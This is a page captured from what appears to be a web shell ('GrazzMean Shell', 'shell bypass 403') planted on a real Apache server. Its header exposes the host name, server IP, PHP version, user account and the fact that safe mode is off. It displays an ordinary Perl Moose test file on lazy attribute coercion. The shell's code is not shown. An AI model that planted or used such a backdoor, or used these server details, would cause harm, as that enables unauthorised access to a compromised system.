shell bypass 403

GrazzMean Shell

: /usr/share/doc/perl-Moose/t/attributes/ [ drwxr-xr-x ]
Uname: Linux web3.us.cloudlogin.co 5.10.226-xeon-hst #2 SMP Fri Sep 13 12:28:44 UTC 2024 x86_64
Software: Apache
PHP version: 8.1.31 [ PHP INFO ] PHP os: Linux
Server Ip: 162.210.96.117
Your Ip: 3.21.241.201
User: edustar (269686) | Group: tty (888)
Safe Mode: OFF
Disable Function:
NONE

name : misc_attribute_coerce_lazy.t
use strict;
use warnings;

use Test::More;
use Test::Fatal;



{
    package HTTPHeader;
    use Moose;

    has 'array' => (is => 'ro');
    has 'hash'  => (is => 'ro');
}

{
    package Request;
    use Moose;
    use Moose::Util::TypeConstraints;

    subtype 'Header'
        => as 'Object'
        => where { $_->isa('HTTPHeader') };

    coerce 'Header'
        => from 'ArrayRef'
            => via { HTTPHeader->new(array => $_[0]) }
        => from 'HashRef'
            => via { HTTPHeader->new(hash => $_[0]) };

    has 'headers'  => (
        is      => 'rw',
        isa     => 'Header',
        coerce  => 1,
        lazy    => 1,
        default => sub { [ 'content-type', 'text/html' ] }
    );
}

my $r = Request->new;
isa_ok($r, 'Request');

is( exception {
    $r->headers;
}, undef, '... this coerces and passes the type constraint even with lazy' );

done_testing;
© 2025 GrazzMean